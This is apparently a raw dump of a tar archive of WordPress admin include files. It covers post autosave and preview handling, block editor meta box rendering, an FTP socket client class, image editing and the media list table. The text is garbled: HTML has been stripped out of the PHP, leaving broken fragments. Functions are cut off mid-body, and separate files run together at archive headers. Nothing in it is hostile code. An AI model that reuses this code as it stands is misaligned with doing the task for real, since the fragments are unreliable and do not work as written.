/* translators: %s: User's display name. */
printf( __( '%s is currently editing this post.' ), esc_html( $user->display_name ) );
}
?>
ID;
$new_autosave['post_author'] = $post_author;
$post = get_post( $post_id );
// If the new autosave has the same content as the post, delete the autosave.
$autosave_is_different = false;
foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
$autosave_is_different = true;
break;
}
}
if ( ! $autosave_is_different ) {
wp_delete_post_revision( $old_autosave->ID );
return 0;
}
/**
* Fires before an autosave is stored.
*
* @since 4.1.0
* @since 6.4.0 The `$is_update` parameter was added to indicate if the autosave is being updated or was newly created.
*
* @param array $new_autosave Post array - the autosave that is about to be saved.
* @param bool $is_update Whether this is an existing autosave.
*/
do_action( 'wp_creating_autosave', $new_autosave, true );
return wp_update_post( $new_autosave );
}
// _wp_put_post_revision() expects unescaped.
$post_data = wp_unslash( $post_data );
// Otherwise create the new autosave as a special post revision.
$revision = _wp_put_post_revision( $post_data, true );
if ( ! is_wp_error( $revision ) && 0 !== $revision ) {
/** This action is documented in wp-admin/includes/post.php */
do_action( 'wp_creating_autosave', get_post( $revision, ARRAY_A ), false );
}
return $revision;
}
/**
* Autosaves the revisioned meta fields.
*
* Iterates through the revisioned meta fields and checks each to see if they are set,
* and have a changed value. If so, the meta value is saved and attached to the autosave.
*
* @since 6.4.0
*
* @param array $new_autosave The new post data being autosaved.
*/
function wp_autosave_post_revisioned_meta_fields( $new_autosave ) {
/*
* The post data arrives as either $_POST['data']['wp_autosave'] or the $_POST
* itself. This sets $posted_data to the correct variable.
*
* Ignoring sanitization to avoid altering meta. Ignoring the nonce check because
* this is hooked on inner core hooks where a valid nonce was already checked.
*/
$posted_data = isset( $_POST['data']['wp_autosave'] ) ? $_POST['data']['wp_autosave'] : $_POST;
$post_type = get_post_type( $new_autosave['post_parent'] );
/*
* Go through the revisioned meta keys and save them as part of the autosave,
* if the meta key is part of the posted data, the meta value is not blank,
* and the meta value has changes from the last autosaved value.
*/
foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
if ( isset( $posted_data[ $meta_key ] )
&& get_post_meta( $new_autosave['ID'], $meta_key, true ) !== wp_unslash( $posted_data[ $meta_key ] )
) {
/*
* Use the underlying delete_metadata() and add_metadata() functions
* vs delete_post_meta() and add_post_meta() to make sure we're working
* with the actual revision meta.
*/
delete_metadata( 'post', $new_autosave['ID'], $meta_key );
// One last check to ensure meta value is not empty.
if ( ! empty( $posted_data[ $meta_key ] ) ) {
// Add the revisions meta data to the autosave.
add_metadata( 'post', $new_autosave['ID'], $meta_key, $posted_data[ $meta_key ] );
}
}
}
}
/**
* Saves a draft or manually autosaves for the purpose of showing a post preview.
*
* @since 2.7.0
*
* @return string URL to redirect to show the preview.
*/
function post_preview() {
$post_id = (int) $_POST['post_ID'];
$_POST['ID'] = $post_id;
$post = get_post( $post_id );
if ( ! $post ) {
wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
}
if ( ! current_user_can( 'edit_post', $post->ID ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
}
$is_autosave = false;
if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() === (int) $post->post_author
&& ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status )
) {
$saved_post_id = edit_post();
} else {
$is_autosave = true;
if ( isset( $_POST['post_status'] ) && 'auto-draft' === $_POST['post_status'] ) {
$_POST['post_status'] = 'draft';
}
$saved_post_id = wp_create_post_autosave( $post->ID );
}
if ( is_wp_error( $saved_post_id ) ) {
wp_die( $saved_post_id->get_error_message() );
}
$query_args = array();
if ( $is_autosave && $saved_post_id ) {
$query_args['preview_id'] = $post->ID;
$query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID );
if ( isset( $_POST['post_format'] ) ) {
$query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] );
}
if ( isset( $_POST['_thumbnail_id'] ) ) {
$query_args['_thumbnail_id'] = ( (int) $_POST['_thumbnail_id'] <= 0 ) ? '-1' : (int) $_POST['_thumbnail_id'];
}
}
return get_preview_post_link( $post, $query_args );
}
/**
* Saves a post submitted with XHR.
*
* Intended for use with heartbeat and autosave.js
*
* @since 3.9.0
*
* @param array $post_data Associative array of the submitted post data.
* @return mixed The value 0 or WP_Error on failure. The saved post ID on success.
* The ID can be the draft post_id or the autosave revision post_id.
*/
function wp_autosave( $post_data ) {
// Back-compat.
if ( ! defined( 'DOING_AUTOSAVE' ) ) {
define( 'DOING_AUTOSAVE', true );
}
$post_id = (int) $post_data['post_id'];
$post_data['ID'] = $post_id;
$post_data['post_ID'] = $post_id;
if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) {
return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) );
}
$post = get_post( $post_id );
if ( ! current_user_can( 'edit_post', $post->ID ) ) {
return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to edit this item.' ) );
}
if ( 'auto-draft' === $post->post_status ) {
$post_data['post_status'] = 'draft';
}
if ( 'page' !== $post_data['post_type'] && ! empty( $post_data['catslist'] ) ) {
$post_data['post_category'] = explode( ',', $post_data['catslist'] );
}
if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() === (int) $post->post_author
&& ( 'auto-draft' === $post->post_status || 'draft' === $post->post_status )
) {
// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked.
return edit_post( wp_slash( $post_data ) );
} else {
/*
* Non-drafts or other users' drafts are not overwritten.
* The autosave is stored in a special post revision for each user.
*/
return wp_create_post_autosave( wp_slash( $post_data ) );
}
}
/**
* Redirects to previous page.
*
* @since 2.7.0
*
* @param int $post_id Optional. Post ID.
*/
function redirect_post( $post_id = '' ) {
if ( isset( $_POST['save'] ) || isset( $_POST['publish'] ) ) {
$status = get_post_status( $post_id );
switch ( $status ) {
case 'pending':
$message = 8;
break;
case 'future':
$message = 9;
break;
case 'draft':
$message = 10;
break;
default:
$message = isset( $_POST['publish'] ) ? 6 : 1;
break;
}
$location = add_query_arg( 'message', $message, get_edit_post_link( $post_id, 'url' ) );
} elseif ( isset( $_POST['addmeta'] ) && $_POST['addmeta'] ) {
$location = add_query_arg( 'message', 2, wp_get_referer() );
$location = explode( '#', $location );
$location = $location[0] . '#postcustom';
} elseif ( isset( $_POST['deletemeta'] ) && $_POST['deletemeta'] ) {
$location = add_query_arg( 'message', 3, wp_get_referer() );
$location = explode( '#', $location );
$location = $location[0] . '#postcustom';
} else {
$location = add_query_arg( 'message', 4, get_edit_post_link( $post_id, 'url' ) );
}
/**
* Filters the post redirect destination URL.
*
* @since 2.9.0
*
* @param string $location The destination URL.
* @param int $post_id The post ID.
*/
wp_redirect( apply_filters( 'redirect_post_location', $location, $post_id ) );
exit;
}
/**
* Sanitizes POST values from a checkbox taxonomy metabox.
*
* @since 5.1.0
*
* @param string $taxonomy The taxonomy name.
* @param array $terms Raw term data from the 'tax_input' field.
* @return int[] Array of sanitized term IDs.
*/
function taxonomy_meta_box_sanitize_cb_checkboxes( $taxonomy, $terms ) {
return array_map( 'intval', $terms );
}
/**
* Sanitizes POST values from an input taxonomy metabox.
*
* @since 5.1.0
*
* @param string $taxonomy The taxonomy name.
* @param array|string $terms Raw term data from the 'tax_input' field.
* @return array
*/
function taxonomy_meta_box_sanitize_cb_input( $taxonomy, $terms ) {
/*
* Assume that a 'tax_input' string is a comma-separated list of term names.
* Some languages may use a character other than a comma as a delimiter, so we standardize on
* commas before parsing the list.
*/
if ( ! is_array( $terms ) ) {
$comma = _x( ',', 'tag delimiter' );
if ( ',' !== $comma ) {
$terms = str_replace( $comma, ',', $terms );
}
$terms = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
}
$clean_terms = array();
foreach ( $terms as $term ) {
// Empty terms are invalid input.
if ( empty( $term ) ) {
continue;
}
$_term = get_terms(
array(
'taxonomy' => $taxonomy,
'name' => $term,
'fields' => 'ids',
'hide_empty' => false,
)
);
if ( ! empty( $_term ) ) {
$clean_terms[] = (int) $_term[0];
} else {
// No existing term was found, so pass the string. A new term will be created.
$clean_terms[] = $term;
}
}
return $clean_terms;
}
/**
* Prepares server-registered blocks for the block editor.
*
* Returns an associative array of registered block data keyed by block name. Data includes properties
* of a block relevant for client registration.
*
* @since 5.0.0
* @since 6.3.0 Added `selectors` field.
* @since 6.4.0 Added `block_hooks` field.
*
* @return array An associative array of registered block data.
*/
function get_block_editor_server_block_settings() {
$block_registry = WP_Block_Type_Registry::get_instance();
$blocks = array();
$fields_to_pick = array(
'api_version' => 'apiVersion',
'title' => 'title',
'description' => 'description',
'icon' => 'icon',
'attributes' => 'attributes',
'provides_context' => 'providesContext',
'uses_context' => 'usesContext',
'block_hooks' => 'blockHooks',
'selectors' => 'selectors',
'supports' => 'supports',
'category' => 'category',
'styles' => 'styles',
'textdomain' => 'textdomain',
'parent' => 'parent',
'ancestor' => 'ancestor',
'keywords' => 'keywords',
'example' => 'example',
'variations' => 'variations',
'allowed_blocks' => 'allowedBlocks',
);
foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
foreach ( $fields_to_pick as $field => $key ) {
if ( ! isset( $block_type->{ $field } ) ) {
continue;
}
if ( ! isset( $blocks[ $block_name ] ) ) {
$blocks[ $block_name ] = array();
}
$blocks[ $block_name ][ $key ] = $block_type->{ $field };
}
}
return $blocks;
}
/**
* Renders the meta boxes forms.
*
* @since 5.0.0
*
* @global WP_Post $post Global post object.
* @global WP_Screen $current_screen WordPress current screen object.
* @global array $wp_meta_boxes Global meta box state.
*/
function the_block_editor_meta_boxes() {
global $post, $current_screen, $wp_meta_boxes;
// Handle meta box state.
$_original_meta_boxes = $wp_meta_boxes;
/**
* Fires right before the meta boxes are rendered.
*
* This allows for the filtering of meta box data, that should already be
* present by this point. Do not use as a means of adding meta box data.
*
* @since 5.0.0
*
* @param array $wp_meta_boxes Global meta box state.
*/
$wp_meta_boxes = apply_filters( 'filter_block_editor_meta_boxes', $wp_meta_boxes );
$locations = array( 'side', 'normal', 'advanced' );
$priorities = array( 'high', 'sorted', 'core', 'default', 'low' );
// Render meta boxes.
?>
id ][ $location ] ) ) {
continue;
}
foreach ( $priorities as $priority ) {
if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ] ) ) {
continue;
}
$meta_boxes = (array) $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ];
foreach ( $meta_boxes as $meta_box ) {
if ( false === $meta_box || ! $meta_box['title'] ) {
continue;
}
// If a meta box is just here for back compat, don't show it in the block editor.
if ( isset( $meta_box['args']['__back_compat_meta_box'] ) && $meta_box['args']['__back_compat_meta_box'] ) {
continue;
}
$meta_boxes_per_location[ $location ][] = array(
'id' => $meta_box['id'],
'title' => $meta_box['title'],
);
}
}
}
/*
* Sadly we probably cannot add this data directly into editor settings.
*
* Some meta boxes need `admin_head` to fire for meta box registry.
* `admin_head` fires after `admin_enqueue_scripts`, which is where we create
* our editor instance.
*/
$script = 'window._wpLoadBlockEditor.then( function() {
wp.data.dispatch( \'core/edit-post\' ).setAvailableMetaBoxesPerLocation( ' . wp_json_encode( $meta_boxes_per_location ) . ' );
} );';
wp_add_inline_script( 'wp-edit-post', $script );
/*
* When `wp-edit-post` is output in the ``, the inline script needs to be manually printed.
* Otherwise, meta boxes will not display because inline scripts for `wp-edit-post`
* will not be printed again after this point.
*/
if ( wp_script_is( 'wp-edit-post', 'done' ) ) {
printf( "\n", trim( $script ) );
}
/*
* If the 'postcustom' meta box is enabled, then we need to perform
* some extra initialization on it.
*/
$enable_custom_fields = (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true );
if ( $enable_custom_fields ) {
$script = "( function( $ ) {
if ( $('#postcustom').length ) {
$( '#the-list' ).wpList( {
addBefore: function( s ) {
s.data += '&post_id=$post->ID';
return s;
},
addAfter: function() {
$('table#list-table').show();
}
});
}
} )( jQuery );";
wp_enqueue_script( 'wp-lists' );
wp_add_inline_script( 'wp-lists', $script );
}
/*
* Refresh nonces used by the meta box loader.
*
* The logic is very similar to that provided by post.js for the classic editor.
*/
$script = "( function( $ ) {
var check, timeout;
function schedule() {
check = false;
window.clearTimeout( timeout );
timeout = window.setTimeout( function() { check = true; }, 300000 );
}
$( document ).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
var post_id, \$authCheck = $( '#wp-auth-check-wrap' );
if ( check || ( \$authCheck.length && ! \$authCheck.hasClass( 'hidden' ) ) ) {
if ( ( post_id = $( '#post_ID' ).val() ) && $( '#_wpnonce' ).val() ) {
data['wp-refresh-metabox-loader-nonces'] = {
post_id: post_id
};
}
}
}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
var nonces = data['wp-refresh-metabox-loader-nonces'];
if ( nonces ) {
if ( nonces.replace ) {
if ( nonces.replace.metabox_loader_nonce && window._wpMetaBoxUrl && wp.url ) {
window._wpMetaBoxUrl= wp.url.addQueryArgs( window._wpMetaBoxUrl, { 'meta-box-loader-nonce': nonces.replace.metabox_loader_nonce } );
}
if ( nonces.replace._wpnonce ) {
$( '#_wpnonce' ).val( nonces.replace._wpnonce );
}
}
}
}).ready( function() {
schedule();
});
} )( jQuery );";
wp_add_inline_script( 'heartbeat', $script );
// Reset meta box data.
$wp_meta_boxes = $_original_meta_boxes;
}
/**
* Renders the hidden form required for the meta boxes form.
*
* @since 5.0.0
*
* @param WP_Post $post Current post object.
*/
function the_block_editor_meta_box_post_form_hidden_fields( $post ) {
$form_extra = '';
if ( 'auto-draft' === $post->post_status ) {
$form_extra .= "";
}
$form_action = 'editpost';
$nonce_action = 'update-post_' . $post->ID;
$form_extra .= "";
$referer = wp_get_referer();
$current_user = wp_get_current_user();
$user_id = $current_user->ID;
wp_nonce_field( $nonce_action );
/*
* Some meta boxes hook into these actions to add hidden input fields in the classic post form.
* For backward compatibility, we can capture the output from these actions,
* and extract the hidden input fields.
*/
ob_start();
/** This filter is documented in wp-admin/edit-form-advanced.php */
do_action( 'edit_form_after_title', $post );
/** This filter is documented in wp-admin/edit-form-advanced.php */
do_action( 'edit_form_advanced', $post );
$classic_output = ob_get_clean();
$classic_elements = wp_html_split( $classic_output );
$hidden_inputs = '';
foreach ( $classic_elements as $element ) {
if ( ! str_starts_with( $element, '
` fields, which will be POSTed back to
* the server when meta boxes are saved.
*
* @since 5.0.0
*
* @param WP_Post $post The post that is being edited.
*/
do_action( 'block_editor_meta_box_hidden_fields', $post );
}
/**
* Disables block editor for wp_navigation type posts so they can be managed via the UI.
*
* @since 5.9.0
* @access private
*
* @param bool $value Whether the CPT supports block editor or not.
* @param string $post_type Post type.
* @return bool Whether the block editor should be disabled or not.
*/
function _disable_block_editor_for_navigation_post_type( $value, $post_type ) {
if ( 'wp_navigation' === $post_type ) {
return false;
}
return $value;
}
/**
* This callback disables the content editor for wp_navigation type posts.
* Content editor cannot handle wp_navigation type posts correctly.
* We cannot disable the "editor" feature in the wp_navigation's CPT definition
* because it disables the ability to save navigation blocks via REST API.
*
* @since 5.9.0
* @access private
*
* @param WP_Post $post An instance of WP_Post class.
*/
function _disable_content_editor_for_navigation_post_type( $post ) {
$post_type = get_post_type( $post );
if ( 'wp_navigation' !== $post_type ) {
return;
}
remove_post_type_support( $post_type, 'editor' );
}
/**
* This callback enables content editor for wp_navigation type posts.
* We need to enable it back because we disable it to hide
* the content editor for wp_navigation type posts.
*
* @since 5.9.0
* @access private
*
* @see _disable_content_editor_for_navigation_post_type
*
* @param WP_Post $post An instance of WP_Post class.
*/
function _enable_content_editor_for_navigation_post_type( $post ) {
$post_type = get_post_type( $post );
if ( 'wp_navigation' !== $post_type ) {
return;
}
add_post_type_support( $post_type, 'editor' );
}
class-ftp-sockets.php 0000644 00000020437 14757313107 0010640 0 ustar 00
//
//
function _settimeout($sock) {
if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
@socket_close($sock);
return FALSE;
}
if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
@socket_close($sock);
return FALSE;
}
return true;
}
function _connect($host, $port) {
$this->SendMSG("Creating socket");
if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
return FALSE;
}
if(!$this->_settimeout($sock)) return FALSE;
$this->SendMSG("Connecting to \"".$host.":".$port."\"");
if (!($res = @socket_connect($sock, $host, $port))) {
$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
@socket_close($sock);
return FALSE;
}
$this->_connected=true;
return $sock;
}
function _readmsg($fnction="_readmsg"){
if(!$this->_connected) {
$this->PushError($fnction,'Connect first');
return FALSE;
}
$result=true;
$this->_message="";
$this->_code=0;
$go=true;
do {
$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
if($tmp===false) {
$go=$result=false;
$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
} else {
$this->_message.=$tmp;
$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
}
} while($go);
if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
$this->_code=(int)$regs[1];
return $result;
}
function _exec($cmd, $fnction="_exec") {
if(!$this->_ready) {
$this->PushError($fnction,'Connect first');
return FALSE;
}
if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
if($status===false) {
$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
return FALSE;
}
$this->_lastaction=time();
if(!$this->_readmsg($fnction)) return FALSE;
return TRUE;
}
function _data_prepare($mode=FTP_ASCII) {
if(!$this->_settype($mode)) return FALSE;
$this->SendMSG("Creating data socket");
$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($this->_ftp_data_sock < 0) {
$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
return FALSE;
}
if(!$this->_settimeout($this->_ftp_data_sock)) {
$this->_data_close();
return FALSE;
}
if($this->_passive) {
if(!$this->_exec("PASV", "pasv")) {
$this->_data_close();
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
return FALSE;
}
$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
$this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
$this->_data_close();
return FALSE;
}
else $this->_ftp_temp_sock=$this->_ftp_data_sock;
} else {
if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
$this->PushError("_data_prepare","cannot get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
$this->_data_close();
return FALSE;
}
if(!@socket_bind($this->_ftp_data_sock,$addr)){
$this->PushError("_data_prepare","cannot bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
$this->_data_close();
return FALSE;
}
if(!@socket_listen($this->_ftp_data_sock)) {
$this->PushError("_data_prepare","cannot listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
$this->_data_close();
return FALSE;
}
if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
$this->PushError("_data_prepare","cannot get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
$this->_data_close();
return FALSE;
}
if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
$this->_data_close();
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
return FALSE;
}
}
return TRUE;
}
function _data_read($mode=FTP_ASCII, $fp=NULL) {
$NewLine=$this->_eol_code[$this->OS_local];
if(is_resource($fp)) $out=0;
else $out="";
if(!$this->_passive) {
$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
if($this->_ftp_temp_sock===FALSE) {
$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
$this->_data_close();
return FALSE;
}
}
while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
if($block==="") break;
if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
else $out.=$block;
}
return $out;
}
function _data_write($mode=FTP_ASCII, $fp=NULL) {
$NewLine=$this->_eol_code[$this->OS_local];
if(is_resource($fp)) $out=0;
else $out="";
if(!$this->_passive) {
$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
if($this->_ftp_temp_sock===FALSE) {
$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
$this->_data_close();
return false;
}
}
if(is_resource($fp)) {
while(!feof($fp)) {
$block=fread($fp, $this->_ftp_buff_size);
if(!$this->_data_write_block($mode, $block)) return false;
}
} elseif(!$this->_data_write_block($mode, $fp)) return false;
return true;
}
function _data_write_block($mode, $block) {
if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
do {
if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
$this->_data_close();
return FALSE;
}
$block=substr($block, $t);
} while(!empty($block));
return true;
}
function _data_close() {
@socket_close($this->_ftp_temp_sock);
@socket_close($this->_ftp_data_sock);
$this->SendMSG("Disconnected data from remote host");
return TRUE;
}
function _quit() {
if($this->_connected) {
@socket_close($this->_ftp_control_sock);
$this->_connected=false;
$this->SendMSG("Socket closed");
}
}
}
?>
image-edit.php 0000644 00000125512 14757313107 0007300 0 ustar 00 600 ? 600 / $big : 1;
$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
$can_restore = false;
if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) ) {
$can_restore = wp_basename( $meta['file'] ) !== $backup_sizes['full-orig']['file'];
}
if ( $msg ) {
if ( isset( $msg->error ) ) {
$note = "
$msg->error
";
} elseif ( isset( $msg->msg ) ) {
$note = "
$msg->msg
";
}
}
/**
* Shows the settings in the Image Editor that allow selecting to edit only the thumbnail of an image.
*
* @since 6.3.0
*
* @param bool $show Whether to show the settings in the Image Editor. Default false.
*/
$edit_thumbnails_separately = (bool) apply_filters( 'image_edit_thumbnails_separately', false );
?>
get_post_mime_type( $post_id ),
'methods' => array( 'rotate' ),
)
) ) {
$note_no_rotate = '';
?>
' . __( 'Image rotation is not supported by your web host.' ) . '';
?>
is_trash ) {
_e( 'No media files found in Trash.' );
} else {
_e( 'No media files found.' );
}
}
/**
* Overrides parent views to use the filter bar display.
*
* @global string $mode List table view mode.
*/
public function views() {
global $mode;
$views = $this->get_views();
$this->screen->render_screen_reader_content( 'heading_views' );
?>
view_switcher( $mode ); ?>
extra_tablenav( 'bar' );
/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
$views = apply_filters( "views_{$this->screen->id}", array() );
// Back compat for pre-4.0 view links.
if ( ! empty( $views ) ) {
echo '
';
foreach ( $views as $class => $view ) {
echo "
$view
";
}
echo '
';
}
?>
';
/* translators: Column name. */
$posts_columns['title'] = _x( 'File', 'column name' );
$posts_columns['author'] = __( 'Author' );
$taxonomies = get_taxonomies_for_attachments( 'objects' );
$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );
/**
* Filters the taxonomy columns for attachments in the Media list table.
*
* @since 3.5.0
*
* @param string[] $taxonomies An array of registered taxonomy names to show for attachments.
* @param string $post_type The post type. Default 'attachment'.
*/
$taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' );
$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );
foreach ( $taxonomies as $taxonomy ) {
if ( 'category' === $taxonomy ) {
$column_key = 'categories';
} elseif ( 'post_tag' === $taxonomy ) {
$column_key = 'tags';
} else {
$column_key = 'taxonomy-' . $taxonomy;
}
$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
}
/* translators: Column name. */
if ( ! $this->detached ) {
$posts_columns['parent'] = _x( 'Uploaded to', 'column name' );
if ( post_type_supports( 'attachment', 'comments' ) ) {
$posts_columns['comments'] = sprintf(
'%2$s',
esc_attr__( 'Comments' ),
/* translators: Hidden accessibility text. */
__( 'Comments' )
);
}
}
/* translators: Column name. */
$posts_columns['date'] = _x( 'Date', 'column name' );
/**
* Filters the Media list table columns.
*
* @since 2.5.0
*
* @param string[] $posts_columns An array of columns displayed in the Media list table.
* @param bool $detached Whether the list table contains media not attached
* to any posts. Default true.
*/
return apply_filters( 'manage_media_columns', $posts_columns, $this->detached );
}
/**
* @return array
*/
protected function get_sortable_columns() {
return array(
'title' => array( 'title', false, _x( 'File', 'column name' ), __( 'Table ordered by File Name.' ) ),
'author' => array( 'author', false, __( 'Author' ), __( 'Table ordered by Author.' ) ),
'parent' => array( 'parent', false, _x( 'Uploaded to', 'column name' ), __( 'Table ordered by Uploaded To.' ) ),
'comments' => array( 'comment_count', __( 'Comments' ), false, __( 'Table ordered by Comments.' ) ),
'date' => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ), 'desc' ),
);
}
/**
* Handles the checkbox column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Post $item The current WP_Post object.
*/
public function column_cb( $item ) {
// Restores the more descriptive, specific name for use within this method.
$post = $item;
if ( current_user_can( 'edit_post', $post->ID ) ) {
?>
post_mime_type );
$attachment_id = $post->ID;
if ( has_post_thumbnail( $post ) ) {
$thumbnail_id = get_post_thumbnail_id( $post );
if ( ! empty( $thumbnail_id ) ) {
$attachment_id = $thumbnail_id;
}
}
$title = _draft_or_post_title();
$thumb = wp_get_attachment_image( $attachment_id, array( 60, 60 ), true, array( 'alt' => '' ) );
$link_start = '';
$link_end = '';
if ( current_user_can( 'edit_post', $post->ID ) && ! $this->is_trash ) {
$link_start = sprintf(
'',
get_edit_post_link( $post->ID ),
/* translators: %s: Attachment title. */
esc_attr( sprintf( __( '“%s” (Edit)' ), $title ) )
);
$link_end = '';
}
$class = $thumb ? ' class="has-media-icon"' : '';
?>
>
ID );
echo esc_html( wp_basename( $file ) );
?>
%s',
esc_url( add_query_arg( array( 'author' => get_the_author_meta( 'ID' ) ), 'upload.php' ) ),
get_the_author()
);
}
/**
* Handles the description column output.
*
* @since 4.3.0
* @deprecated 6.2.0
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_desc( $post ) {
_deprecated_function( __METHOD__, '6.2.0' );
echo has_excerpt() ? $post->post_excerpt : '';
}
/**
* Handles the date column output.
*
* @since 4.3.0
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_date( $post ) {
if ( '0000-00-00 00:00:00' === $post->post_date ) {
$h_time = __( 'Unpublished' );
} else {
$time = get_post_timestamp( $post );
$time_diff = time() - $time;
if ( $time && $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
/* translators: %s: Human-readable time difference. */
$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
} else {
$h_time = get_the_time( __( 'Y/m/d' ), $post );
}
}
/**
* Filters the published time of an attachment displayed in the Media list table.
*
* @since 6.0.0
*
* @param string $h_time The published time.
* @param WP_Post $post Attachment object.
* @param string $column_name The column name.
*/
echo apply_filters( 'media_date_column_time', $h_time, $post, 'date' );
}
/**
* Handles the parent column output.
*
* @since 4.3.0
*
* @param WP_Post $post The current WP_Post object.
*/
public function column_parent( $post ) {
$user_can_edit = current_user_can( 'edit_post', $post->ID );
if ( $post->post_parent > 0 ) {
$parent = get_post( $post->post_parent );
} else {
$parent = false;
}
if ( $parent ) {
$title = _draft_or_post_title( $post->post_parent );
$parent_type = get_post_type_object( $parent->post_type );
if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $post->post_parent ) ) {
printf( '%s', get_edit_post_link( $post->post_parent ), $title );
} elseif ( $parent_type && current_user_can( 'read_post', $post->post_parent ) ) {
printf( '%s', $title );
} else {
_e( '(Private post)' );
}
if ( $user_can_edit ) :
$detach_url = add_query_arg(
array(
'parent_post_id' => $post->post_parent,
'media[]' => $post->ID,
'_wpnonce' => wp_create_nonce( 'bulk-' . $this->_args['plural'] ),
),
'upload.php'
);
printf(
' %s',
$detach_url,
/* translators: %s: Title of the post the attachment is attached to. */
esc_attr( sprintf( __( 'Detach from “%s”' ), $title ) ),
__( 'Detach' )
);
endif;
} else {
_e( '(Unattached)' );
?>
post_parent );
printf(
' %s',
$post->ID,
/* translators: %s: Attachment title. */
